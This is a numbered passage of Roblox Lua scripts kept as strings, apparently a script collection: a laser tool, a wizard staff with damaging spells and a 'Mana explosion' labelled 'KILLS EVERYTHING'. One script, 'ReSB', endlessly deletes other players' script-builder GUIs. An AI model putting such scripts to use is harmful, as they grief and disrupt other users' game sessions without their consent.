  3950. elseif key == 's' then
  3951. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,.5)
  3952. elseif key == 'd' then
  3953. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(-5),0)
  3954. elseif key == 'a' then
  3955. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(5),0)
  3956. end
  3957. end
  3958. end
  3959. end
  3960. end)
  3961. ]]
  3962. ReSB = [[while true do
  3963. for inx, val in pairs(game.Players:GetPlayers()) do
  3964. if val:FindFirstChild("PlayerGui") then
  3965. if val.PlayerGui:FindFirstChild("SBGUI") then
  3966. val.PlayerGui.SBGUI:Remove()
  3967. end
  3968. end
  3969. end
  3970. wait()
  3971. end
  3972. ]]
  3973. Shoop = [[
  3974. me = game.Players.LocalPlayer
  3975. if script.Parent.className ~= "HopperBin" then
  3976. h = Instance.new("HopperBin",me.Backpack)
  3977. h.Name = "LAZOR"
  3978. script.Parent = h
  3979. end
  3980. bin = script.Parent
  3981. function prop(part, parent, collide, tran, ref, x, y, z, color)
  3982. part.Parent = parent
  3983. part.formFactor = 0
  3984. part.CanCollide = collide
  3985. part.Transparency = tran
  3986. part.Reflectance = ref
  3987. part.Size = Vector3.new(x,y,z)
  3988. part.BrickColor = BrickColor.new(color)
  3989. part.TopSurface = 0
  3990. part.BottomSurface = 0
  3991. part:BreakJoints()
  3992. end
  3993. function weld(w, p, p0, p1, a, b, c, x, y, z)
  3994. w.Parent = p
  3995. w.Part0 = p0
  3996. w.Part1 = p1
  3997. w.C1 = CFrame.fromEulerAnglesXYZ(a,b,c) * CFrame.new(x,y,z)
  3998. end
  3999. function mesh(mesh, parent, x, y, z, type)
  4000. mesh.Parent = parent
  4001. mesh.Scale = Vector3.new(x, y, z)
  4002. mesh.MeshType = type
  4003. end
  4004. using = false
  4005. sound = Instance.new("Sound",me.Character.Head)
  4006. sound.Volume = 0.6
  4007. sound.Pitch = 1
  4008. sound.SoundId = "rbxasset://sounds/uuhhh.wav"
  4009. bin.Selected:connect(function(mouse)
  4010. mouse.Button1Down:connect(function()
  4011. if using then return end
  4012. using = true
  4013. local blagh = Instance.new("Model",me.Character)
  4014. blagh.Name = "LAZOR"
  4015. local paw = mouse.Hit.p
  4016. local pa1 = Instance.new("Part")
  4017. prop(pa1,blagh,false,0,0,1,1,1,"Really black")
  4018. local m1 = Instance.new("SpecialMesh")
  4019. mesh(m1, pa1, 1.07,1,0.3,"Brick")
  4020. local w1 = Instance.new("Weld")
  4021. weld(w1, me.Character.Head, me.Character.Head, pa1, 0.4, 0, 0, 0, -0.4, 0.9)
  4022. local pa2 = pa1:clone()
  4023. prop(pa2,blagh,false,0,0,1,1,1,"Really black")
  4024. local w2 = Instance.new("Weld")
  4025. weld(w2, me.Character.Head, me.Character.Head, pa2, -0.4, 0, 0, 0, 0.4, 0.9)
  4026. local pa3 = Instance.new("Part")
  4027. prop(pa3,blagh,false,0,0,1,1,1,"Really red")
  4028. local m3 = Instance.new("SpecialMesh")
  4029. mesh(m3,pa3,1.3,1.23,0.29,"Brick")
  4030. local w3 = Instance.new("Weld")
  4031. weld(w3, me.Character.Head, me.Character.Head, pa3, 0.4, 0, 0, 0, -0.4, 0.9)
  4032. local pa4 = pa3:clone()
  4033. prop(pa4,blagh,false,0,0,1,1,1,"Really red")
  4034. local w4 = Instance.new("Weld")
  4035. weld(w4, me.Character.Head, me.Character.Head, pa4, -0.4, 0, 0, 0, 0.4, 0.9)
  4036. local eye1a = Instance.new("Part")
  4037. prop(eye1a,blagh,false,0,0,1,1,1,"Institutional white")
  4038. eye1a.Shape = "Ball"
  4039. local emesh1 = Instance.new("SpecialMesh")
  4040. mesh(emesh1,eye1a,0.75,0.75,0.75,"Sphere")
  4041. local ew = Instance.new("Weld")
  4042. weld(ew, me.Character.Head, me.Character.Head, eye1a, 0, 0, 0, 0.45, -1.3, 1.1)
  4043. local eye1b = Instance.new("Part")
  4044. prop(eye1b,blagh,false,0,0,1,1,1,"Really black")
  4045. eye1b.Shape = "Ball"
  4046. local emesh1b = Instance.new("SpecialMesh")
  4047. mesh(emesh1b,eye1b,0.4,0.4,0.4,"Sphere")
  4048. local ew2 = Instance.new("Weld")
  4049. weld(ew2, eye1a, eye1a, eye1b, 0, 0, 0, 0.09, -0.04, 0.2)
  4050. local eye2a = eye1a:clone()
  4051. prop(eye2a,blagh,false,0,0,1,1,1,"Institutional white")
  4052. local ew3 = Instance.new("Weld")
  4053. weld(ew3, me.Character.Head, me.Character.Head, eye2a, 0, 0, 0, -0.45, -1.3, 1.1)
  4054. local eye2b = eye1b:clone()
  4055. prop(eye2b,blagh,false,0,0,1,1,1,"Really black")
  4056. local ew5 = Instance.new("Weld")
  4057. weld(ew5, eye2a, eye2a, eye2b, 0, 0, 0, -0.05, 0.07, 0.2)
  4058. local bill = Instance.new("BillboardGui",pa1)
  4059. bill.Adornee = bill.Parent
  4060. bill.Size = UDim2.new(0,150,0,80)
  4061. local txt = Instance.new("TextLabel",bill)
  4062. txt.Size = UDim2.new(0,0,0,0)
  4063. txt.Position = UDim2.new(0,100,0,-20)
  4064. txt.Text = "IMA FIRIN' MAH LAZORR!!"
  4065. txt.FontSize = "Size24"
  4066. txt.TextColor3 = Color3.new(0,0,0)
  4067. sound.Volume = 0.6
  4068. for i=1, 5 do
  4069. sound.Pitch = math.random(400,900)/1000
  4070. sound:play()
  4071. wait(0.1)
  4072. end
  4073. local bg = Instance.new("BodyGyro",me.Character.Torso)
  4074. bg.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
  4075. bg.cframe = CFrame.new(me.Character.Torso.Position, paw)
  4076. for i=1, 5 do
  4077. sound.Pitch = math.random(400,900)/1000
  4078. sound:play()
  4079. wait(0.2)
  4080. end
  4081. txt.Text = "BLAARGHH!!!!!!"
  4082. sound.Volume = 0.85
  4083. for i=1, 60 do
  4084. local dist = (me.Character.Head.Position - paw).magnitude
  4085. if dist >= 600 then
  4086. dist = 600
  4087. end
  4088. bg.cframe = CFrame.new(me.Character.Torso.Position, paw)
  4089. sound.Pitch = math.random(550,750)/1000
  4090. sound:play()
  4091. local bewm = Instance.new("Part")
  4092. prop(bewm, blagh, false, 0.4, 0.25, 1, 1, dist, "Cyan")
  4093. bewm.Anchored = true
  4094. local mes = Instance.new("SpecialMesh")
  4095. mesh(mes,bewm,1.2,1.2,1,"Brick")
  4096. bewm.CFrame = CFrame.new(me.Character.Head.Position, paw) * CFrame.new(0,0,-bewm.Size.Z/2) * CFrame.new(0,0,-1)
  4097. local luck = math.random(1,3)
  4098. if luck == 1 then
  4099. local cfr = Instance.new("Part",blagh)
  4100. cfr.Size = Vector3.new(1,1,1)
  4101. cfr.Transparency = 1
  4102. cfr.Anchored = true
  4103. cfr.CFrame = bewm.CFrame * CFrame.new(0,0,-bewm.Size.Z/2)
  4104. local ex = Instance.new("Explosion")
  4105. ex.Parent = blagh
  4106. ex.Position = cfr.Position
  4107. ex.BlastRadius = 9
  4108. ex.BlastPressure = 400000
  4109. ex.Hit:connect(function(part)
  4110. if part:GetMass() < 240 then
  4111. part.Anchored = false
  4112. part:BreakJoints()
  4113. end
  4114. end)
  4115. end
  4116. wait()
  4117. bewm:remove()
  4118. end
  4119. blagh:remove()
  4120. bg:remove()
  4121. using = false
  4122. end)
  4123. end)
  4124. ]]
  4125. Wizard = [[
  4126. LocalPlayer = game.Players.LocalPlayer
  4127. Activated = false
  4128. Equipped = false
  4129. Regening = false
  4130. FireBall = false
  4131. Spikes = false
  4132. shooting = false
  4133. Mode = "Shoot"
  4134. Energy = 100
  4135. mouse = LocalPlayer:GetMouse()
  4136. t = Instance.new("Tool",LocalPlayer.Backpack)
  4137. t.Name = 'Wizard staff'
  4138. t.GripPos = Vector3.new(0,-2,0)
  4139. p = Instance.new("Part",t)
  4140. p.FormFactor = 'Custom'
  4141. p.Name = 'Handle'
  4142. p.CanCollide = false
  4143. m = Instance.new("SpecialMesh",p)
  4144. m.MeshId = 'http://www.roblox.com/asset/?id=18434043'
  4145. m.TextureId = 'http://www.roblox.com/asset/?id=26017177'
  4146. char = LocalPlayer.Character
  4147. mouse = LocalPlayer:GetMouse()
  4148. humanoid = char:findFirstChild("Humanoid")
  4149. torso = char:findFirstChild("Torso")
  4150. head = char.Head
  4151. ra = char:findFirstChild("Right Arm")
  4152. la = char:findFirstChild("Left Arm")
  4153. rl = char:findFirstChild("Right Leg")
  4154. ll = char:findFirstChild("Left Leg")
  4155. rs = torso:findFirstChild("Right Shoulder")
  4156. ls = torso:findFirstChild("Left Shoulder")
  4157. rh = torso:findFirstChild("Right Hip")
  4158. lh = torso:findFirstChild("Left Hip")
  4159. neck = torso:findFirstChild("Neck")
  4160. rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
  4161. anim = char:findFirstChild("Animate")
  4162. rootpart = char:findFirstChild("HumanoidRootPart")
  4163. camera = workspace.CurrentCamera
  4164. if anim then
  4165. anim:Destroy()
  4166. end
  4167. rm = Instance.new("Motor", torso)
  4168. rm.C0 = CFrame.new(1.5, 0.5, 0) *CFrame.Angles(0, 0, 0)
  4169. rm.C1 = CFrame.new(0, 0.5, 0)
  4170. rm.Part0 = torso
  4171. rm.Part1 = ra
  4172. lm = Instance.new("Motor", torso)
  4173. lm.C0 = CFrame.new(-1.5, 0.5, 0) *CFrame.Angles(0, 0, 0)
  4174. lm.C1 = CFrame.new(0, 0.5, 0)
  4175. lm.Part0 = torso
  4176. lm.Part1 = la
  4177. rlegm = Instance.new("Motor", torso)
  4178. rlegm.C0 = CFrame.new(0.5, -1, 0) *CFrame.Angles(0, 0, 0)
  4179. rlegm.C1 = CFrame.new(0, 1, 0)
  4180. rlegm.Part0 = torso
  4181. rlegm.Part1 = rl
  4182. llegm = Instance.new("Motor", torso)
  4183. llegm.C0 = CFrame.new(-0.5, -1, 0) *CFrame.Angles(0, 0, 0)
  4184. llegm.C1 = CFrame.new(0, 1, 0)
  4185. llegm.Part0 = torso
  4186. llegm.Part1 = ll
  4187. rsc0 = rm.C0
  4188. lsc0 = lm.C0
  4189. llc0 = llegm.C0
  4190. rlc0 = rlegm.C0
  4191. neckc0 = neck.C0
  4192. rootc0 = rj.C0
  4193. PLAYERGUI = LocalPlayer.PlayerGui
  4194. GUI = Instance.new("ScreenGui",PLAYERGUI)
  4195. FRAME = Instance.new("Frame",GUI)
  4196. FRAME.Size = UDim2.new(0.5,0,0.05,0)
  4197. FRAME.BackgroundColor3 = BrickColor.new("Bright blue").Color
  4198. FRAME.BorderSizePixel = 0
  4199. TEXTLABEL = Instance.new("TextLabel",FRAME)
  4200. TEXTLABEL.Size = UDim2.new(1,0,1,0)
  4201. TEXTLABEL.BackgroundTransparency = 1
  4202. TEXTLABEL.Text = "Mana: "..tostring(Energy)
  4203. TEXTLABEL.BorderSizePixel = 0
  4204. TEXTLABEL.Font = 'Legacy'
  4205. TEXTLABEL.FontSize = 'Size24'
  4206. FRAME2 = Instance.new("Frame",GUI)
  4207. FRAME2.Size = UDim2.new(0.5,0,0.05,0)
  4208. FRAME2.BackgroundColor3 = BrickColor.new("Bright red").Color
  4209. FRAME2.BorderSizePixel = 0
  4210. FRAME2.Position = UDim2.new(0.5,0,0,0)
  4211. TEXTLABEL2 = Instance.new("TextLabel",FRAME2)
  4212. TEXTLABEL2.Size = UDim2.new(1,0,1,0)
  4213. TEXTLABEL2.BackgroundTransparency = 1
  4214. TEXTLABEL2.Text = "Health: "..tostring(humanoid.Health)
  4215. TEXTLABEL2.BorderSizePixel = 0
  4216. TEXTLABEL2.Font = 'Legacy'
  4217. TEXTLABEL2.FontSize = 'Size24'
  4218. FRAME3 = Instance.new("Frame",GUI)
  4219. FRAME3.Size = UDim2.new(0.5,0,0.05,0)
  4220. FRAME3.BackgroundColor3 = BrickColor.new("Lime green").Color
  4221. FRAME3.BorderSizePixel = 0
  4222. FRAME3.Position = UDim2.new(0.5,0,0.05,0)
  4223. TEXTLABEL3 = Instance.new("TextLabel",FRAME3)
  4224. TEXTLABEL3.Size = UDim2.new(1,0,1,0)
  4225. TEXTLABEL3.BackgroundTransparency = 1
  4226. TEXTLABEL3.Text = "Spell: Star shoot"
  4227. TEXTLABEL3.BorderSizePixel = 0
  4228. TEXTLABEL3.Font = 'Legacy'
  4229. TEXTLABEL3.FontSize = 'Size24'
  4230. function __getVelocity(p1,p2,speed)
  4231. local dis=(p1-p2).magnitude
  4232. if speed=="dis" then
  4233. if dis*6>100 then
  4234. speed=dis*6
  4235. else
  4236. speed=100
  4237. end
  4238. end
  4239. local x=(p1.x-p2.x)/dis*speed
  4240. local y=(p1.y-p2.y)/dis*speed
  4241. local z=(p1.z-p2.z)/dis*speed
  4242. return Vector3.new(-x,-y+10,-z)
  4243. end
  4244. function __onActivated()
  4245. Activated = true
  4246. end
  4247. function __onDeactivated()
  4248. Activated = false
  4249. end
  4250. function __onEquipped(mouse)
  4251. Equipped = true
  4252. pcall(function()
  4253. local a = Instance.new("Explosion",LocalPlayer.Character)
  4254. a.Position = LocalPlayer.Character['Right Arm'].Position
  4255. a.BlastPressure = 0
  4256. a.BlastRadius = 20
  4257. end)
  4258. local b = Instance.new("Fire",p)
  4259. b.Size = 1
  4260. b.Color = Color3.new(0, 255, 255)
  4261. b.SecondaryColor = Color3.new(255, 255, 0)
  4262. local w = Instance.new("Motor",char['Right Arm'])
  4263. w.Name = 'Wizard staff weld'
  4264. w.Part0 = char['Right Arm']
  4265. w.Part1 = p
  4266. w.C1 = CFrame.new(0,-1.5,0.5) * CFrame.Angles(math.rad(90),0,0)
  4267. end
  4268. function __onUnequipped(mouse)
  4269. Equipped = false
  4270. pcall(function()
  4271. p.Fire:Destroy()
  4272. end)
  4273. pcall(function()
  4274. char['Right Arm']['Wizard staff weld']:Destroy()
  4275. end)
  4276. end
  4277. function __Shoot()
  4278. if Regening == true then return end
  4279. if Energy < 5 then return end
  4280. shooting = true
  4281. Energy = Energy - 5
  4282. humanoid.WalkSpeed = 0
  4283. local speed = math.random(400,500)
  4284. local bullet = Instance.new("Part",workspace)
  4285. bullet.Name = 'Bullet'
  4286. bullet.TopSurface = 0
  4287. bullet.BottomSurface = 0
  4288. bullet.FormFactor = 'Custom'
  4289. bullet.CFrame = p.CFrame
  4290. bullet.CanCollide = false
  4291. bullet.Velocity = __getVelocity(bullet.Position, mouse.Hit.p, speed)
  4292. local bulletmesh = Instance.new("SpecialMesh",bullet)
  4293. bulletmesh.MeshId = 'http://www.roblox.com/asset/?id=24388358'
  4294. bulletmesh.TextureId = 'http://www.roblox.com/asset/?id=24388341'
  4295. bulletmesh.VertexColor = Vector3.new(0,0,0)
  4296. bullet.Touched:connect(function(toucher)
  4297. if toucher.Parent:findFirstChild'Head' and toucher.Parent:findFirstChild'Torso' and toucher.Parent.Name ~= LocalPlayer.Name then
  4298. for i,v in pairs(toucher.Parent:children()) do
  4299. if v.ClassName == 'Humanoid' then
  4300. if v.Health > 100 then
  4301. v.Health = 100
  4302. else
  4303. v.Health = v.Health - speed/50
  4304. end
  4305. end
  4306. end
  4307. bullet:Destroy()
  4308. end
  4309. end)
  4310. wait(1)
  4311. shooting = false
  4312. humanoid.WalkSpeed = 16
  4313. end
  4314. function __FireBall()
  4315. if Regening == true then return end
  4316. if Energy < 50 then return end
  4317. if FireBall == true then return end
  4318. Energy = Energy - 50
  4319. local a = Instance.new("Part",workspace)
  4320. a.Anchored = true
  4321. a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-5)
  4322. a.FormFactor = 'Custom'
  4323. a.Size = Vector3.new(5,5,5)
  4324. Instance.new("SpecialMesh", a).MeshType = 'Sphere'
  4325. local b = Instance.new('Decal',a)
  4326. b.Texture = 'http://www.roblox.com/asset/?id=58278973'
  4327. b.Face = 'Right'
  4328. local c = Instance.new('Decal',a)
  4329. c.Texture = 'http://www.roblox.com/asset/?id=58278973'
  4330. c.Face = 'Left'
  4331. local d = Instance.new('Decal',a)
  4332. d.Texture = 'http://www.roblox.com/asset/?id=58278973'
  4333. d.Face = 'Top'
  4334. local e = Instance.new('Decal',a)
  4335. e.Texture = 'http://www.roblox.com/asset/?id=58278973'
  4336. e.Face = 'Front'
  4337. local f = Instance.new('Decal',a)
  4338. f.Texture = 'http://www.roblox.com/asset/?id=58278973'
  4339. f.Face = 'Back'
  4340. local g = Instance.new('Decal',a)
  4341. g.Texture = 'http://www.roblox.com/asset/?id=58278973'
  4342. g.Face = 'Bottom'
  4343. local x = Instance.new('Fire',a)
  4344. x.Size = 20
  4345. local con = a.Touched:connect(function(what)
  4346. if what.Parent.Name ~= LocalPlayer.Name then
  4347. if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then
  4348. what:Destroy()
  4349. end
  4350. end
  4351. end)
  4352. coroutine.wrap(function()
  4353. FireBall = true
  4354. humanoid.WalkSpeed = 0
  4355. for i = 0,1,0.05 do
  4356. a.Mesh.Scale = Vector3.new(i,i,i)
  4357. wait()
  4358. end
  4359. FireBall = false
  4360. humanoid.WalkSpeed = 16
  4361. while wait() do
  4362. if a == nil or a.Parent ~= workspace then break end
  4363. a.CFrame = a.CFrame * CFrame.new(0,0,-1)
  4364. end
  4365. con:disconnect()
  4366. end)()
  4367. coroutine.wrap(function()
  4368. wait(5)
  4369. Instance.new("Explosion",workspace).Position = a.Position
  4370. a:Destroy()
  4371. end)()
  4372. end
  4373. function __Spikes()
  4374. if Regening == true then return end
  4375. if Energy < 25 then return end
  4376. if Spikes == true then return end
  4377. Energy = Energy - 25
  4378. Spikes = true
  4379. humanoid.WalkSpeed = 0
  4380. for z = 0,6 do
  4381. local a = Instance.new("Part",workspace)
  4382. a.FormFactor = 'Custom'
  4383. a.Size = Vector3.new(2.4, 3.4, 2.4)
  4384. a.Anchored = true
  4385. local b = Instance.new("SpecialMesh",a)
  4386. b.MeshId = 'http://www.roblox.com/asset/?id=1033714'
  4387. b.TextureId = 'http://www.roblox.com/asset?id=39251676'
  4388. b.VertexColor = Vector3.new(1, 1, 1)
  4389. b.Scale = Vector3.new(1.2, 5.4, 1.2)
  4390. a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,-0.5,-(z*4)-2)
  4391. local con = a.Touched:connect(function(what)
  4392. if what.Parent.Name ~= LocalPlayer.Name then
  4393. if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then
  4394. for i,v in pairs(what.Parent:children()) do
  4395. if v.ClassName == 'Humanoid' then
  4396. if v.Health > 100 then v.Health = 100 end
  4397. v.Health = v.Health - 10
  4398. end
  4399. end
  4400. end
  4401. end
  4402. end)
  4403. coroutine.wrap(function()
  4404. wait(3)
  4405. a:Destroy()
  4406. con:disconnect()
  4407. end)()
  4408. wait()
  4409. end
  4410. humanoid.WalkSpeed = 16
  4411. Spikes = false
  4412. end
  4413. function __Lightning()
  4414. if Energy < 40 then return end
  4415. if Lightning == true then return end
  4416. if Regening == true then return end
  4417. humanoid.WalkSpeed = 0
  4418. Lightning = true
  4419. Energy = Energy - 40
  4420. local function segment(pos1,pos2,color)
  4421. local dis=(pos1-pos2).magnitude
  4422. local p=Instance.new("Part")
  4423. p.CanCollide=false
  4424. p.FormFactor="Custom"
  4425. p.Size=Vector3.new(.2,.2,dis)
  4426. p.Anchored=true
  4427. p.CFrame=CFrame.new(pos1,pos2)*CFrame.new(0,0,-dis/2)
  4428. p.BrickColor=color
  4429. return p
  4430. end
  4431. target = mouse.Hit
  4432. height=200
  4433. prev=(target*CFrame.new(0,300,0)).p
  4434. for i=height,30,-50 do
  4435. cur=Vector3.new(math.random(15)+target.x,i,math.random(15)+target.z)
  4436. p=segment(prev,cur,BrickColor.new("New Yeller"))
  4437. p.Parent=workspace
  4438. game:service("Debris"):AddItem(p,3)
  4439. prev=cur
  4440. wait()
  4441. end
  4442. p=segment(prev,target.p,BrickColor.new("New Yeller"))
  4443. p.Parent=workspace
  4444. game:service("Debris"):AddItem(p,3)
  4445. Instance.new("Explosion",workspace).Position=target.p
  4446. wait(1)
  4447. Lightning = false
  4448. humanoid.WalkSpeed = 16
  4449. end
  4450. function __ManaExplosion()
  4451. if Energy < 100 then return end
  4452. if ManaExplosion == true then return end
  4453. if Regening == true then return end
  4454. humanoid.WalkSpeed = 0
  4455. ManaExplosion = true
  4456. Energy = Energy - 100
  4457. local Fire = Instance.new("Fire",LocalPlayer.Character.Torso)
  4458. for i = 0,100 do
  4459. Fire.Size = i
  4460. wait()
  4461. end
  4462. Fire:remove()
  4463. local a = Instance.new("Explosion", LocalPlayer.Character)
  4464. a.Position = LocalPlayer.Character.Torso.Position
  4465. a.BlastPressure = 1e100
  4466. a.BlastRadius = 1e100
  4467. ManaExplosion = false
  4468. humanoid.WalkSpeed = 16
  4469. end
  4470. t.Activated:connect(__onActivated)
  4471. t.Deactivated:connect(__onDeactivated)
  4472. t.Equipped:connect(__onEquipped)
  4473. t.Unequipped:connect(__onUnequipped)
  4474. coroutine.wrap(function()
  4475. while wait() do
  4476. if Activated == true then
  4477. if Mode == 'Shoot' then
  4478. __Shoot()
  4479. elseif Mode == 'FireBall' then
  4480. __FireBall()
  4481. elseif Mode == 'Spikes' then
  4482. __Spikes()
  4483. elseif Mode == 'Lightning' then
  4484. __Lightning()
  4485. elseif Mode == 'ManaExplosion' then
  4486. __ManaExplosion()
  4487. end
  4488. end
  4489. if Regening == true then
  4490. Energy = Energy + 5
  4491. wait(1)
  4492. end
  4493. end
  4494. end)()
  4495. mouse.KeyDown:connect(function(key)
  4496. if key == 'r' then
  4497. humanoid.WalkSpeed = 0
  4498. Regening = true
  4499. end
  4500. if key == 'c' then
  4501. if Mode == 'Shoot' then
  4502. Mode = 'FireBall'
  4503. elseif Mode == 'FireBall' then
  4504. Mode = 'Spikes'
  4505. elseif Mode == 'Spikes' then
  4506. Mode = 'Lightning'
  4507. elseif Mode == 'Lightning' then
  4508. Mode = 'ManaExplosion'
  4509. else
  4510. Mode = 'Shoot'
  4511. end
  4512. end
  4513. end)
  4514. mouse.KeyUp:connect(function(key)
  4515. if key == 'r' then
  4516. humanoid.WalkSpeed = 16
  4517. Regening = false
  4518. end
  4519. end)
  4520. count = 0
  4521. countspeed = 0.70
  4522. coroutine.wrap(function()
  4523. while wait() do
  4524. if Energy > 100 then Energy = 100 end
  4525. if Energy < 0 then Energy = 0 end
  4526. TEXTLABEL.Text = "Mana: "..tostring(Energy)
  4527. TEXTLABEL2.Text = "Health: "..tostring(math.floor(humanoid.Health))
  4528. if Mode == 'Shoot' then
  4529. TEXTLABEL3.Text = 'Spell: Star shoot (5 mana)'
  4530. elseif Mode == 'FireBall' then
  4531. TEXTLABEL3.Text = 'Spell: Fire ball (50 mana)'
  4532. elseif Mode == 'Spikes' then
  4533. TEXTLABEL3.Text = 'Spell: Spikes row (25 mana)'
  4534. elseif Mode == 'Lightning' then
  4535. TEXTLABEL3.Text = 'Spell: Lightning (40 mana)'
  4536. elseif Mode == 'ManaExplosion' then
  4537. TEXTLABEL3.Text = 'Spell: Mana explosion (100 mana) *KILLS EVERYTHING*'
  4538. end
  4539. count = (count % 100) + countspeed
  4540. angle = math.pi * math.sin(math.pi*2/100*count)
  4541. if Vector3.new(0, torso.Velocity.y, 0).magnitude > 2 then
  4542. countspeed = 8
  4543. if Equipped == false then
  4544. rm.C0 = rsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0))
  4545. else
  4546. rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0)
  4547. end
  4548. lm.C0 = lsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0))
  4549. rlegm.C0 = rlc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0)
  4550. llegm.C0 = llc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0)
  4551. neck.C0 = neckc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05),0,0)
  4552. rootpart.RootJoint.C0 = rootc0 * CFrame.Angles(0,0,0)
  4553. wait()
  4554. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then --stand
  4555. if shooting then
  4556. countspeed = 8
  4557. rj.C0 = rootc0 * CFrame.Angles(0,0,math.rad(25))
  4558. rlegm.C0 = rlc0 * CFrame.Angles(math.rad(5), -math.rad(25), 0) --right leg
  4559. llegm.C0 = llc0 * CFrame.Angles(-math.rad(5), -math.rad(25), -0) --left leg
  4560. lm.C0 = lsc0 * CFrame.Angles(-math.rad(30), 0, -math.rad(25)) --left arm
  4561. rm.C0 = rsc0 * CFrame.Angles(math.rad(90)+angle*0.050, 0, 0) --right arm
  4562. elseif Regening == true then
  4563. if Energy == 100 then Regening = false end
  4564. rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  4565. llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  4566. rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  4567. lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(20))
  4568. rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-20))
  4569. neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0)
  4570. elseif FireBall == true then
  4571. rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  4572. llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  4573. rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  4574. lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10))
  4575. rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10))
  4576. neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0)
  4577. elseif Spikes == true then
  4578. rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  4579. llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  4580. rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  4581. lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10))
  4582. rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10))
  4583. neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0)
  4584. elseif Lightning == true then
  4585. rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  4586. llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  4587. rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  4588. lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10))
  4589. rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10))
  4590. neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0)
  4591. elseif ManaExplosion == true then
  4592. coroutine.wrap(function()
  4593. for i = 0,360 do
  4594. rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  4595. wait()
  4596. end
  4597. end)()
  4598. llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  4599. rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  4600. lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10))
  4601. rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10))
  4602. neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0)
  4603. else
  4604. countspeed = 0.70-- this judges how fast idle animation goes
  4605. rlegm.C0 = rlc0 * CFrame.Angles(0, 0, 0) --right leg
  4606. llegm.C0 = llc0 * CFrame.Angles(0, 0, -0) --left leg
  4607. lm.C0 = lsc0 * CFrame.Angles(-angle*0.050, 0, 0) --left arm
  4608. if Equipped == false then
  4609. rm.C0 = rsc0 * CFrame.Angles(angle*0.050, 0, 0) --right arm
  4610. else
  4611. rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0)
  4612. end
  4613. neck.C0 = neckc0 * CFrame.Angles(-angle*0.025, 0, 0) --head
  4614. rj.C0 = rootc0 * CFrame.Angles(-math.rad(1), 0, 0) --torso
  4615. end
  4616. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude > 2 then-- walk
  4617. countspeed = 8-- this judges how fast the walk animation goes
  4618. rlegm.C0 = rlc0 * CFrame.Angles(-angle*0.100, 0, 0)
  4619. llegm.C0 = llc0 * CFrame.Angles(angle*0.100, 0, 0)
  4620. neck.C0 = neckc0 * CFrame.Angles(0, 0, 0)
  4621. lm.C0 = lsc0 * CFrame.Angles(-angle*0.100, 0, 0)
  4622. if Equipped == false then
  4623. rm.C0 = rsc0 * CFrame.Angles(angle*0.100, 0, 0)
  4624. else
  4625. rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0)
  4626. end
  4627. rj.C0 = rootc0 * CFrame.Angles(0, 0, 0)
  4628. end
  4629. end
  4630. end)()
  4631. ]]
  4632. Raven = [[
  4633. local fp = Instance.new("Part", game:GetService("Players").LocalPlayer.Character)
  4634. fp.Anchored = true
  4635. fp.Size = Vector3.new(10, 3, 25)
  4636. game:GetService("Players").LocalPlayer.Character.Humanoid.WalkSpeed = 32
  4637.  
  4638. local players = {}
  4639.  
  4640. local fpm = Instance.new("SpecialMesh", fp)
  4641. fpm.MeshId = "http://www.roblox.com/asset/?id=20925363"
  4642. fpm.TextureId = "http://www.roblox.com/asset/?id=20925361"
